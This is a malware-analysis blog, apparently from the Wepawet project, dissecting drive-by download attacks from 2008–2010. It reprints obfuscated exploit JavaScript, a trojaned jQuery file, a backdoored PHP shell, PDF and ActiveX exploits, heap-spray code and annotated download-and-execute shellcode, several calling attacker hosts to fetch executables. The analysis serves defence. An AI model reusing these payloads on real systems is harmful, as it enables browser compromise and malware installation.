blog
December 15, 2010
Attackers have often targeted specific geographical regions, or, conversely, spared certain regions from their attacks. A recent example is the following JavaScript found on a malicious web page:
var s, siteUrl, tmpdomain;
var arydomain = new Array(".gov.cn",".edu.cn");
s = document.location + "";
siteUrl=s.substring(7, s.indexOf('/',7));
tmpdomain = 0;
for(var i = 0; i < arydomain.length; i++) {
if(siteUrl.indexOf(arydomain[i]) > -1){
tmpdomain = 1;
break;
}
}
if(tmpdomain == 0) {
document.writeln("<iframe src=http://ggggasz.8866.org:8843/GwN2/index.html?1 width=100 height=0></iframe>");
}
The code checks the location of the current document. If the domain
does not contain the strings .gov.cn or .edu.cn, then the attack is
launched (by dynamically creating an iframe tag), otherwise the script
performs no action.
Certainly not new, but still interesting...
October 14, 2009
Writers of malicious JavaScript code have always been keen on developing novel ways to make the analysis of their code harder. One of the most commonly used mechanisms to do so is (no surprise here) simple obfuscation. For example, malware authors commonly encode string literals with custom schemes. A decoding routine then de-scrambles the strings before using them further (for example, as the URL of the next step of an attack or as the CLSID of a vulnerable ActiveX control).
Interestingly, malware authors have also introduced various techniques to make the basic deobfuscation step more difficult, in particular, if performed in an off-line analysis environment, which, for example, examines the pages saved during a crawling session.
One of the earliest trick consists of using the URL of the obfuscated page as a decoding key in the deobfuscation routine. More recently, other techniques have also been used. One I have seen lately uses the time of the last modification of the page in the decoding routine.
Consider, for example, the following script:
<html><body><script>
var gtvwx=true,abwz="",gnru=false,
bfqrv=document.lastModified.split("/"),
dilp=String,
cjltu=bfqrv[2].split(":"),
acinqu=dilp['f#r(o#mZC#h#aZrZC(o,d#e('.replace(/[\(Z,G#]/g,'')],
gnty=bfqrv[0]+"25"+cjltu[2],
ckoxz=window,cklqry=0,klny="",
bfkw=ckoxz['euv9a2lS'.replace(/[S2u9@]/g,'')],
fopv=[150,173,160...90,94,111],
ailmux=function(){
for(var ehlt;cklqry<fopv.length;cklqry++){
klny+=acinqu(fopv[cklqry]-
gnty.substring(cklqry%gnty.length,cklqry%gnty.length+1).charCodeAt(0));
bfkw(klny);
};
ailmux();
</script></body></html>
The code reads the time the page was last modified from the
document.lastModified property. This property is initialized from the
value of the Last-Modified header sent from the web server serving the
page. The script then parses the time and extracts the number of seconds
from the time string into the cjltu variable.
The seconds value is then used to compute the value of the gnty
variable, which is used in the decoding routine to recover the
in-the-clear text from the encoded array fopv..
These are the Wepawet reports for a couple of sites that use this techniques: report for hxxp://www.pipisechka.com/sleep/news.php and report for hxxp://day-evryday.cn/news.php
October 8, 2009
Here is another exploit toolkit that has been making the rounds
recently: the Liberty exploit pack. Most notably, in mid-September,
Liberty was used in a drive-by-download campaign that injected iframes
pointing at searra-ditol.cn and embrari-1.cn into a large number of
vulnerable web sites.
A couple of pages from the toolkit admin panel:
Finally, you can see the Wepawet domain report for searra-ditol.cn and for embrari-1.cn.
October 4, 2009
Here is an old trick for foiling manual and automated analysis of malicious pages that I still see used from time to time. When the malicious page is requested, the server sends back a 404 ("Not Found") HTTP status code. Regularly, this error message indicates that the requested resource could not be found on the server, and the returned page simply tries to help the visitor correcting the error. However, in the case of malicious pages that use this trick, the body of the apparently missing page contains code that attempts to exploit some browser vulnerabilities or to redirects to other malicious web sites.
The following is an example of a page (hxxp://yahoo-analytics.net/laso/s.php) that uses this technique:
HTTP/1.1 404 Not Found
Date: Tue, 29 Sep 2009 07:26:41 GMT
Server: Apache/2
Last-Modified: Tue, 01 Sep 2009 12:55:36 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 133
Content-Type: text/html
<iframe src="http://213.163.89.54/lib/index.php"
width=0 height=0
style="hidden"
frameborder=0 marginheight=0 marginwidth=0
scrolling=no>
</iframe>
The headers indicate that the page is missing, but the body contains an iframe that redirects the browser to a page that launches various browser exploits. Of course, stopping the analysis after observing the 404 error code would not reveal any wrongdoing. A complete analysis instead (see the Wepawet report for hxxp://yahoo-analytics.net/laso/s.php for all the details) shows that after the redirection a malicious PDF and Flash files are delivered to the visitor's browser.
September 29, 2009
Long time, no write... but I thought this could be a good occasion to start again.
It looks like the Koobface people have been busy updating their social engineering tricks. But let's start from the beginning. I was inspecting fnplbpnbvxqjrey.blogspot.com, a BlogSpot's blog that Wepawet flagged as suspicious and involved in pushing Koobface (see the Wepawet report for fnplbpnbvxqjrey.blogspot.com). At first sight, the blog appears to be just one of the many BlogSpot pages involved in this activity.
However, a closer look at the source code of the page reveals something interesting. The code responsible for actually redirecting to Koobface is a fairly recent variant (I have seen it used as early as 2009-09-12). Here is a slightly simplified listing of this code:
var ogxbjeqrihscndvz6 = [ /* list of server IPs */ ];
var mzvtonlxsjprcb5 = '';
cvuhxdinmlqjoeft1();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
n = parseInt(location.href.substr(n + 4));
if (n < 101)
js = '/cnet';
else if (n < 201)
js = '/warn';
else if (n < 301)
js = '/scan';
else if (n < 401)
js = '';
}
for (var onwxklrqhybjvpase3 = 0;
onwxklrqhybjvpase3 < ogxbjeqrihscndvz6.length;
onwxklrqhybjvpase3 ++) {
var ypcovhrtbmn8 = document.createElement('script');
ypcovhrtbmn8.type = 'text/javascript';
ypcovhrtbmn8.src = 'http://' + ogxbjeqrihscndvz6[onwxklrqhybjvpase3] +
'/go' + '.js' + '?0x3' + 'E8' + mzvtonlxsjprcb5 + js + '/' +
(location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(ypcovhrtbmn8);
}
The script loops over an array that holds the IPs of compromised
machines where visitors of the malicious blog will be redirected to. For
each IP, an HTML script tag is added to the page. The tag is set to
point to a URL on the compromised IP. Depending on certain conditions,
the path of the URLs will contain one of the following strings: /view,
/cnet, /warn, /scan.
When the redirection finally is triggered, the victim is presented with a
different page, depending on which of these strings was included
in the URL.
All the pages attempt to social engineer visitors into downloading and installing the Koobface malware. Here are screenshots that show the tricks they use:
/view)
/cnet)
/scan)
/warn):
Just a few more aces up Koobface's sleeve...
May 6, 2009
An anti-analysis/fingerprinting trick I've noticed more and more frequently in drive-by downloads is the use of IE conditional compilation.
Conditional compilation is a feature of Internet Explorer that enables the browser to control the compilation of a script (that is, to include or exclude code to be interpreted) depending on the values of a number of conditional compilation variables. Predefined variables provide information about the client environment, such as its processor, OS, and JavaScript version. Conditional compilation statements are typically contained in regular JavaScript comments to prevent problems with browsers that do not support this feature.
Here is an example of how conditional compilation is used in drive-by downloads:
/*@cc_on @*/
/*@if (@_win32)
var source ="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:6" +
"/23:/255/33:0tubut0tubut/kt#?=0tdsjqu?";
var result = "";
for(var i=0;i<source.length;i++)
result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result);
/*@end @*/
The cc_on statement enables conditional compilation. The @if
statement checks that the browser is running on a Win32 system. If this
is the case, then the following JavaScript block is interpreted,
otherwise it is simply ignored. The code block is a
classic deobfuscation routine that produces the following text:
<script type="text/javascript"
src="http://95.129.144.229/stats/stats.js"></script>
This script tag fetches a script that redirects to a number of pages serving
exploits.
What happens if the user's browser does not support conditional compilation, for example, it is an analysis tool based on the stock SpiderMonkey or Rhino engines? Then, it will simply consider the entire conditional compilation section a comment and it will skip it. As a consequence, the malicious script tag will not be added to the page, and, therefore, the subsequent exploits will not be launched and will not be detected by the analysis tool.
The full report for the example is available on Wepawet.
May 1, 2009
Malicious JavaScript code often relies on defensive mechanisms to evade detection or to make its deobfuscation more difficult. Some of these methods have been well discussed (see, for example, the very nice presentations Reverse Engineering Malicious Javascript by J. Nazario and Circumventing Automated JavaScript Analysis by B. Hoffman), but it's interesting to see how they are used.
Some of the earliest defensive techniques are directed against the
manual analysis of malicious code. For example, a quick analysis
technique consists of wrapping the script's code into textarea tags so
that deobfuscated code is written into the textarea and can be
quickly inspected and copy-and-pasted for further analysis. In this
case, the textarea is essentially used as a poor-man sandbox. Something
the bad guys figured out quickly was that all they needed to do to
defeat this technique was to close the textarea tag before performing
any other action.
Somewhat surprisingly, this trick is still used from time to time. A few months ago, a malicious script on ixfree.net contained the following code:
document.write("</textarea>");
var i, _, a = ["78.110.175.21", "195.24.76.251"];
_ = 1;
if (document.cookie.match(/\bhgft=1/) == null)
for (i = 0; i < 2; i++)
document.write("<script>if(_)" +
"document.write(\"<script id=_" + i + "_ src=//" + a[i]" +
"/cp/?" + navigator .appName.charAt(0) +
"><\\/script>\")<\/script>");
(see full report on Wepawet)
The code closes the textarea to escape its "sandbox", checks that a cookie is not set, and then generates two script tags that redirect to exploits. If you were to wrap this code into a textarea, you would end up with an empty textarea and a wrong detection.
April 26, 2009
A social engineering trick that the people behind drive-by downloads are using is that of hiding their malicious code in the middle of benign, well-know code.
For example, recently, a number of compromised web sites have found their pages modified with iframes pointing at hxxp://94.247.2.195/jquery.js. At a cursory inspection, jquery.js looks like the jQuery library, a well-known (and definitely benign) JavaScript library. The code includes the standard jQuery's copyright notice and revision information, and the first 6K bytes or so are indeed identical to the original library's code.
/*
* jQuery JavaScript Library v1.3.1
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009)
* Revision: 6158
*/
(function(){var l=this,g,y=l.jQu...
However, the malicious code is hidden toward the end of the script, where one finds:
if( (typeof(jquery_data)!=typeof(1)) &&
(document.cookie.match(/\miek=1/)==null))
document.write(
unescape('fq%3CssoWcOTHriDpgpsoWt...FH5rscDpgrRpiptRp%3E')
.replace(/soW|VV|U6k|rV|fq|OTH|H5r|Dpg|Rp/g,"")
.replace(/Z/,navigator.appName.charAt(0)=='M'?'0':'1'));
jquery_data=1;
This code determines whether an attack has already been launched, by
checking the jquery_data variable and the miek cookie. If not, it
deobfuscates a long string and writes it in the current page. The
deobfuscated string creates a new script tag which points at
hxxp://94.247.2.195/news/?id= The value of the id parameter in the
script URL is 100 if the codename of the browser starts with the letter M
(e.g., Firefox and Internet Explorer), 101 in all other cases. This
page, in turn, attempts to launch a number of exploits (see the Wepawet
report).
The exploits target vulnerabilities in MDAC, PDF, and SWF.
It's certainly true: thing are not always what they seem...
April 3, 2009
It is well known that most drive-by downloads rely on exploit toolkits to fingerprint the victim's browser, identify the right exploits to launch, obfuscate the exploit code, and send it to the target.
Different exploit toolkits compete with each other on several of features. Obviously, the number and reliability of exploits. But also on user friendliness and look and feel. As evidence of this, check the interface of the Yes exploit toolkit:
No question, they spent some time on that desktop-like, web 2.0 interface...
November 13, 2008
Lately, malicious PDFs are becoming more popular. They generally abuse the JavaScript functionality that Adobe added to the PDF specification. Luckily, it is not too difficult to analyze these files, since, as we will see, they use pretty much the same techniques that are used in malicious JavaScript code. I'll use as an example the us.pdf file, which was used in a drive-by exploit attack hosted on 78.157.142.122.
PDFs are generally compressed, so the first step is to uncompress the file. To do this, I generally use the nice pdftk tool:
pdftk us.pdf output us.clear.pdf uncompress
Now, if you open us.clear.pdf, the JavaScript code is nicely readable inside one of the objects defined by the document:
function re(count,what)
var v = "";
while (--count >= 0) v += what;
return v;
}
function start() {
var sc = unescape(
"%u9090%u9090%u9090%u9090%ueb90%u5e1a%u5b56%u068a" +
"%u303c%u1674%ue0c0%u4604%u268a%ue480%u020f%u88c4" +
"%u4303%ueb46%ue8e9%uffe1%uffff%u585e%u5c51%u5050" +
...
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
"%u9090%u9090%u9090%u9090%u9090");
if (app.viewerVersion >= 7.0) {
plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) +
unescape("%u0b0b%u0028%u0aeb%u0aeb") +
unescape("%u9090%u9090") +
re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) +
sc +
re(1256,unescape("%u4141%u4141"));
}
else
{
ef6 = unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = re(80,unescape("%u9090%u9090")) +
sc +
re(80,unescape("%u9090%u9090"))+
unescape("%ue7e9%ufff9")+
unescape("%uffff%uffff") +
unescape("%uf6eb%uf4eb") +
unescape("%uf2eb%uf1eb");
while ((plin.length % 8) != 0)
plin = unescape("%u4141") + plin;
plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",2000);
The code exploits a vulnerability in the collectEmailInfo method of
the Collab object
(CVE-2007-5659).
The shellcode used in the attack downloads an executable file from the
same site. Anubis has some interesting details
on the behavior of this
executable.
Another interesting thing to note is that PDF files can contain quite a few features and behaviors that may surprise and catch off-guard the attackers. Make sure to read Didier Stevens' post on how he used the incremental updates feature to reconstruct how the malicious file was created.
October 29, 2008
Just a couple of weeks ago I was thinking that 17 exploits in one JavaScript attack were many. Well, it isn't so. I've recently stumbled upon a couple of pages that contain 18 and 25 different exploits. The domains that host the pages are, respectively, google-analistyc.net and 85.17.166.230.
if (
office() ||
dl() ||
pdf() ||
wme() ||
ya1() ||
ya2() ||
fb() ||
mdss() ||
creative() ||
wks() ||
ogame() ||
ca() ||
buddy() ||
gomweb() ||
xmlcore() ||
quick() ||
real() ||
ntaudio()
) {}
Here are the exploits we haven't already seen:
A8D3AD02-7508-4004-B2E9-AD33F087F43C) buffer overflow
(CVE-2008-3008).9D39223E-AE8E-11D4-8FD3-00D0B7730277) buffer overflow via long server property
followed by an invocation of the receive method
(CVE-2007-3147).DCE2F8B1-A520-11D4-8FD0-00D0B7730277) buffer overflow via long server property followed
by an invocation of the send method
(CVE-2007-3148).5C6698D9-7BE4-4122-8EC5-291D84DBD4A0) overflow in the ExtractIptc and
ExtractExif properties
(CVE-2008-0660).EEE78591-FE22-11D0-8BEF-0060081841DE) buffer overflow via long ModeName parameter in the
FindEngine function
(CVE-2007-2222).The second page has 25 exploits:
if (
mdac() ||
dl() ||
flash() ||
pdf() ||
wme() ||
wfi() ||
com() ||
ya1() ||
ya2() ||
fb() ||
mdss() ||
cr1() ||
cr2() ||
cr3() ||
cr4() ||
creative() ||
wks() ||
ogame() ||
ca() ||
buddy() ||
gomweb() ||
xmlcore() ||
quick() ||
real() ||
ntaudio()
) {}
Here, the "new" ones are:
7C3B01BC-53A5-48A0-A43B-0C67731134B9) overflow in SetHandler method
(CVE-2007-6493).5A074B2B-F830-49de-A31B-5BB9D7F6B407)
(CVE-2007-5107).F8984111-38B6-11D5-8725-0050DA2761C4) via
DoWebMenuAction function
(CVE-2007-1683).Now, regarding the second part of the title: there seem to be at least two bugs in these exploit codes.
First, the function cr3 instantiates the control
07B18EAB-A523-4961-B6BB-170DE4475CCA and then sets the property
ShortFormat. This property doesn't seem to exist. ShortFormat is,
instead, the attack vector for the exploit against the Ask Toolbar
(included in the cr2 function). It's probably a case of wrong
copy-and-paste.
function cr3() {
try {
var obj = null;
obj=cobj("{07B18EAB-A523-4961-B6BB-170DE4475CCA}");
if(obj) {
ms2();
arg1 = unescape("\x0c");
while(arg1.length<0x200) arg1+=unescape("\x0c");
obj.ShortFormat = arg1;
}
} catch(e) {}
return 0;
}
Second, and this is present in both pages, the mdss function gets
wrong its memory allocation. In fact, it creates a string (in the buf
variable) and doubles its length in a loop that should execute 9999
times. Of course, this doesn't bode well: the machine will likely lock
up before the offending process goes out of memory and, finally, gets
killed.
function mdss(){
try {
var obj=null;
obj=cobj("{EEE78591-FE22-11D0-8BEF-0060081841DE}");
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
for (i=1;i<=9999;i++)
buf += buf;
EngineID="default";
...
Interestingly, the original milw0rm exploit did the right thing:
var buf = unescape("%u4141");
while (buf.length <= 261) buf = buf + unescape("%u4141");
Probably, another case of wrong copy-and-paste...
October 16, 2008
It is quite common for malicious JavaScript pages to package more than one exploit together and attempt to run all of them against the victim browser. But, what about 17 different exploits in the same script?
<html><body><script>function v8P6GEVcq(cD5Q2LVDZD9t){
return String["from"+"Char"+"Code"](cD5Q2LVDZD9t);
}
function sK5tVpH6uQTNjz(VqiKaGXn){
var vjHVVi9s=0,EFWwHQWBlb=VqiKaGXn.length,lQMLLno=1024,
CoZtfIDFYl,LIIVFZwmlhNqxo,W018sXwS="",ykerJQuIiCo=vjHVVi9s,
gkkYR9OOwch6=vjHVVi9s,qyBlQcNBGEVh0=vjHVVi9s,
OLcO9M0gn=Array(63,12,30,11,6,32,31,53,34,47,0,0,0,0,0,0,57,50,49,
17,55,1,43,44,20,5,39,46,58,9,41,59,62,36,29,14,27,15,8,7,4,37,35,
0,0,0,0,22,0,28,16,19,3,2,40,51,61,42,52,13,33,45,48,10,38,54,
56,0,26,21,24,60,18,23,25);
for(LIIVFZwmlhNqxo=Math.ceil(EFWwHQWBlb/lQMLLno);
LIIVFZwmlhNqxo>vjHVVi9s; LIIVFZwmlhNqxo--)
{
for(eval("CoZtfIDFYl=Ma"+"th.m"+"in(EFWwHQWBlb,lQMLLno)");
CoZtfIDFYl>vjHVVi9s; CoZtfIDFYl--,EFWwHQWBlb--)
{
qyBlQcNBGEVh0|=(OLcO9M0gn[VqiKaGXn.charCodeAt(ykerJQuIiCo++)-48])<<gkkYR9OOwch6;
if(gkkYR9OOwch6) {
W018sXwS+=v8P6GEVcq(149^qyBlQcNBGEVh0&255);
qyBlQcNBGEVh0>>=8;
gkkYR9OOwch6-=2;
} else{
gkkYR9OOwch6=6;
}
}
}
return (W018sXwS);
}
var QCDhu="6AMJaSShJy3rJJUiDq6rlyPFLi3fGK3NJeLKJ2oFOooNLe6OLoiK@
...
AzmNJ2mBc0PwD396AMJaAM97LSL6AMJae";
eval(sK5tVpH6uQTNjz(QCDhu));
</script></body></html>
After the initial deobfuscation step (nothing too fancy here, this time), the actual code is available in the clear. Two surprises here. First, as I said, there are 17 exploits:
if (
mdac() ||
office() ||
dl() ||
pdf() ||
wfi() ||
com() ||
creative() ||
wks() ||
ogame() ||
ca() ||
buddy() ||
gomweb() ||
xmlcore() ||
quick() ||
real() ||
ntaudio()
|| dani()
) {}
The exploits are targeting:
Second, the code doesn't use the usual heap spraying technique, but an adaptation of the Heap Feng Shui technique by Alex Sotirov. For example, the exploit for the DirectAnimation vulnerability is:
function dani() {
try{
obj=cobj("DirectAnimation.PathControl");
if(obj){
ms();
init();
var jmpecx = 0x0c0c0c0c;
var vtable = addr(0x7ceb9090);
for (var i = 0; i < 124/4; i++)
vtable += addr(jmpecx);
vtable += padding.substr(0, (1008-138)/2);
var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;
var fakeObjChunk = padding.substr(0,
(0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);
CollectGarbage();
flush();
for (var i = 0; i < 100; i++)
alloc_str(vtable);
alloc_str(vtable, "lookaside");
free("lookaside");
for (var i = 0; i < 100; i++)
alloc(0x2010);
for (var i = 0; i < 2; i++) {
alloc_str(fakeObjChunk);
alloc_str(fakeObjChunk, "freeList");
}
alloc_str(fakeObjChunk);
free("freeList");
obj.KeyFrame(0x40000801, new Array(1), new Array(1));
}
}catch(e){}
return 0;
}
In all cases, the binary to be downloaded lives at
http://59.125.229.71/ex/7/load.php?id=106 and is well recognized by most
anti-virus
Update (10/17/08): The xplo0it Analysis blog also has a nice description of this exploit.
October 15, 2008
A few weeks ago, the good folks of Malware Domain List pointed out an interesting new obfuscation technique being used by some malicious JavaScript samples.
Here's the code of the malicious page (from reddii.ru):
<html><body><input type='text'style='display:none'id='vimamikolu2'
value='kekin1=new Array(161,244,251,239,252,240,248,189,238,239,254,
...
166,144,151,161,178,238,254,239,244,237,233,163);'/>
<script>votot=function(str){document.write(str);};
dotemerape7=new String();
lifum=Math.round(-80.131*Math.SQRT1_2-16.601*Math.LOG2E+342.801*Math.LN2);
eval(document.getElementById('vimamikolu2').value);
for(pidum9=0;pidum9<1577;pidum9++)
dotemerape7+=String.fromCharCode(kekin1[pidum9]^lifum);
votot(dotemerape7);
</script></body></html>
As it's typically done, this code just acts as the decoding routine for
the actual exploit code, which is obfuscated. However, in this case, the
obfuscated code is stored and dynamically retrieved from the HTML code
surrounding the JavaScript code. More precisely, the decoding routine
retrieves the value of the attribute value of the HTML element with id
vimamikolu2. This string is evaluated via eval: this defines the
array kekin1. Then, the code applies String.fromCharCode to each
element of the array (xored with a constant value), and writes the
result back to the page.
While not particularly difficult to reverse manually, this deobfuscation technique has an important consequence for deobfuscation and analysis tools: they need to have a decent implementation of the DOM model (e.g., understand the getElementById function) in order to automatically get around this kind of tricks. Incidentally, I'm working on one such tool (which handles this sample just fine) and should have something ready (and releasable) soon: check back!
The deobfuscated code reveals the usual exploit for the MDAC vulnerability and a more interesting (and recent) exploit for the Office Snapshot Viewer vulnerability (CVE-2008-2463):
function goMDAC() {
...
}
function goPDF() {
wnd=window;
while (wnd.parent!=wnd)
wnd=wnd.parent;
wnd.location="getfile.php?f=vispdf";
}
function goSnap() {
var sfrom = 'http://reddii.ru/traffic/sploit1/getexe.php?h=12';
var sto = 'c:/Documents and Settings/All Users/Start Menu/Programs/Startup/'
+'svchost.exe';
try {
snapattack.SnapshotPath = sfrom;
snapattack.CompressedPath = sto;
snapattack.PrintSnapshot(sfrom,sto);
} catch(e) {}
}
setTimeout('goMDAC();',3500);
setTimeout('goPDF();',5000);
goSnap();
Another interesting aspect of this exploit is that it (also) tries to download PDF files. But this is material for another post...
September 13, 2008
PHP shells are tools that attackers often use to manage compromised web servers. It turns out, some of these attackers may be attacked by their own tools.
In fact, PhishTank report
505183 shows a nice example of
a backdoor inserted in a PHP shell.
The shell in question is a variant of the w4ck1ng shell. Each page
generated by the shell contains the following script tag:
<script>
var dc=document.write;
var sc=String.fromCharCode;
var exe="http://reda-vision.com/config.exe";
var file="run.exe";
dc(sc(60,115,99,114,105,112,116,62,118,97,114,32,97,105,108,105,97,110,
44,122,104,97,110,44,99,109,100,115,115,59,97,105,108,105,97,110,61,34) +
exe + sc(34,59,122,104,97,110,61,34) + file + sc(34,59,99,109,100,115,
115,61,34,99,109,100,46,101,120,101,34,59,116,114,121,123,118,97,114,32,
...
97,116,99,104,40,101,41,123,125,59,60,47,115,99,114,105,112,116,62));
</script>
After decoding the JavaScript code, a classic drive-by download attack is revealed:
var ailian,zhan,cmdss;
ailian="http://reda-vision.com/config.exe";
zhan="run.exe";
cmdss="cmd.exe";
try{
var ado=(document.createElement("object"));
var d=1;
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var e=1;
var xml=ado.CreateObject("Microsoft.XMLHTTP","");
var f=1;
var ln="Ado";
var lzn="db.St";
var an="ream";
var g=1;
var as=ado.createobject(ln+lzn+an,"");
var h=1;
xml.Open("GET",ailian,0);
xml.Send();
as.type=1;
var n=1;
as.open();
as.write(xml.responseBody);
as.savetofile(zhan,2);
as.close();
var shell=ado.createobject("Shell.Application","");
shell.ShellExecute(zhan,"","","open",0);
shell.ShellExecute(cmdss," /c del /S /Q /F "+zhan,"","open",0);
} catch(e){};
The config.exe file is detected by one third of the antivirus tools used by VirusTotal, and, according to the Anubis report, behaves like a Bifrost variant.
August 28, 2008
In previous posts, I've talked about JavaScript-based attacks, which are often used, for example, in drive-by exploits. With this and some of the next posts, I'll look more in detail at the actual vulnerabilities and exploits used in these attacks. I will leave the discussion of how to make reliable exploits for another series of posts (spoiler: heap spray and similar techniques) ;-)
So, let's start with the AOL SuperBuddy exploit. SuperBuddy is an ActiveX control in America Online 9.0. Its method LinkSBIcons dereferences an arbitrary function pointer, allowing remote attackers to execute arbitrary code by modifying the pointer value. The vulnerability is cataloged as CVE-2006-5820 in the CVE database.
Here is a typical exploit (it is also available as a Metasploit exploit):
function a9_bwCED() {
try {
var OBGUiGAa = new ActiveXObject('Sb.SuperBuddy');
if (OBGUiGAa) {
Exhne69P();
dU578_go(9);
OBGUiGAa.LinkSBIcons(0x0c0c0c0c);
}
} catch(e) { }
return 0;
}
The function Exhne69P sets up the shellcode and the function
dU578_go sets a cookie, probably to keep statistics on the success
rate of the attack. The actual exploitation occurs by invoking the
LinkSBIcons method with the 0x0c0c0c0c parameter.
The vulnerable code is contained in the sb.dll library:
6398692d <LinkSBIcons>::
6398692d: push %ebp
6398692e: mov %esp,%ebp
63986930: mov 0xc(%ebp),%eax ; eax := arg
63986933: test %eax,%eax
63986935: je 0x63986969 ; bail out if NULL
63986937: mov (%eax),%ecx ; ecx := *arg
63986939: push %esi
6398693a: push %edi
6398693b: mov 0x8(%ebp),%edi
6398693e: lea 0x30(%edi),%esi
63986941: push %esi
63986942: push $0x6399037c
63986947: push %eax
63986948: call *(%ecx) ; call *ecx
The function gets the user-provided parameter, checks that it is not NULL, and happily uses it to make a function call. At this point, an attacker simply has to choose an appropriate value for the argument to execute arbitrary code or, less ambitiously, crash the program trying to access 0x41414141, as in the screenshot below:
June 24, 2008
Last time, we have seen how malicious code is delivered to the browser during a web attack. We left with a script that targeted 4 different vulnerabilities, but we didn't look at what activity is actually performed during the attack. Here, we will look at the actual exploitation.
Let's meet the shellcode:
var YuL42y0W = unescape("%u9090%u9090%u9090%u9090%ufce9%u0000%u5f00%ua164%u0030
%u0000%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u408b%u8d34%u7c40%u688b%u8b3c
%u6af7%u5904%u8fe8%u0000%ue200%u68f9%u6e6f%u0000%u7568%u6c72%u546d%u16ff%ue88b
%u79e8%u0000%u8b00%u47d7%u3f80%u7500%u47fa%u4757%u3f80%u7500%u8bfa%u5fef%uc933
%uec81%u0104%u0000%udc8b%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302
%u8043%u003b%ufa75%u7b81%u2efc%u7865%u7565%u8303%u08eb%u0389%u43c7%u2e04%u7865
%uc665%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8
%u0675%u016a%uff53%u0456%u595a%uc283%u4104%u3a80%u7500%uffb4%u0856%u5651%u758b
%u8b3c%u2e74%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%uc503%udb33%ube0f%u3a10
%u74d6%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b
%u1c5e%udd03%u048b%u038b%uabc5%u595e%ue8c3%ufeff%uffff%u4e8e%uec0e%ufe98%u0e8a
%ud87e%u73e2%uca33%u5b8a%u1a36%u702f%u6943%u4a79%u466a%u774c%u6800%u7474%u3a70
%u2f2f%u6461%u6973%u6574%u6f6c%u632e%u6d6f%u632f%u6967%u622d%u6e69%u692f%u646e
%u7865%u632e%u6967%u373f%u6530%u6630%u3562%u3035%u3031%u6230%u3766%u3030%u3732
%u6537%u6530%u3564%u3038%u3336%u3935%u3535%u6565%u3031%u3338%u6138%u3465%u6139
%u3062%u3030%u3030%u3730%u3066%u3030%u3030%u3030%u3030%u3038%u0000");
It's easy to unescape the shellcode and generate the corresponding object code. It turns out that the shellcode is very elegant: it should work on different versions of Windows (9x and XP) and is independent of the position in memory of the various library and functions. The final goal of the code is to download a file from a specific URL and to execute it. Let's see how this is done.
First, the shellcode obtains the address of kernel32.dll. It uses the
PEB-based technique
first described by The Last Stage of
Delirium:
0000000E mov eax,[fs:0x30] ; get the PEB
00000014 js 0x22<find_kernel32_9x>
find_kernel32_nt:
00000016 mov eax,[eax+0xc] ; get ptr to PEB_LDR_DATA
00000019 mov esi,[eax+0x1c] ; get 1st entry of InInitalizationOrderModuleList
0000001C lodsd
0000001D mov ebp,[eax+0x8] ; get kernel32.dll base
00000020 jmp short 0x2b
find_kernel32_9x:
00000022 mov eax,[eax+0x34]
00000025 lea eax,[eax+0x7c]
00000028 mov ebp,[eax+0x3c]
Once the base address of kernel32.dll is known, it can be used to
identify the address of useful functions exported in this DLL. To do so,
the shellcode defines a routine, let's call it find_function, that
walks the export name table of the given DLL and looks for a given
function name. Instead of matching directly on the name of the function,
the shellcode computes a simple hash of the name, and uses that to
locate interesting functions. This is probably done to save some space
and obfuscate the purposes of the code.
The find_function expects two parameters: the base address of the DLL
(contained in the ebp register) and a pointer to the hash of the
function to identify (in the edi register):
find_function:
000000C4 push ecx
000000C5 push esi
000000C6 mov esi,[ebp+0x3c] ; get the PE header
000000C9 mov esi,[esi+ebp+0x78]
000000CD add esi,ebp
000000CF push esi
000000D0 mov esi,[esi+0x20] ; get the export name table
000000D3 add esi,ebp
000000D5 xor ecx,ecx
000000D7 dec ecx
hash_init:
000000D8 inc ecx
000000D9 lodsd
000000DA add eax,ebp
000000DC xor ebx,ebx ; ebx stores the computed hash
hash_update:
000000DE movsx edx,byte [eax]
000000E1 cmp dl,dh
000000E3 jz 0xed<hash_done>
000000E5 ror ebx,0xd
000000E8 add ebx,edx
000000EA inc eax
000000EB jmp short 0xde<hash_update>
hash_done:
000000ED cmp ebx,[edi] ; have we found the given hash?
000000EF jnz 0xd8<hash_init>
000000F1 pop esi
000000F2 mov ebx,[esi+0x24]
000000F5 add ebx,ebp
000000F7 mov cx,[ebx+ecx*2]
000000FB mov ebx,[esi+0x1c]
000000FE add ebx,ebp
00000100 mov eax,[ebx+ecx*4]
00000103 add eax,ebp
00000105 stosd ; store the address in place of the hash
00000106 pop esi
00000107 pop ecx
00000108 ret
The hash value is computed with simple ror and add operations. I use
the following code to compute the hash of a function name:
unsigned int ror(unsigned int num, int places) {
return (num >> places) | (num << (32 - places));
}
unsigned int get_hash(const char *name) {
const char *ch;
unsigned int hash = 0;
for (ch = name; *ch; ch++) {
hash = (ror(hash, 0xd) + *ch);
}
return hash;
}
The hashes of the functions to locate are stored in a table at the end
of the shellcode. With the above program and a list of all the functions
in kernel32.dll (obtained from
here), it is easy to
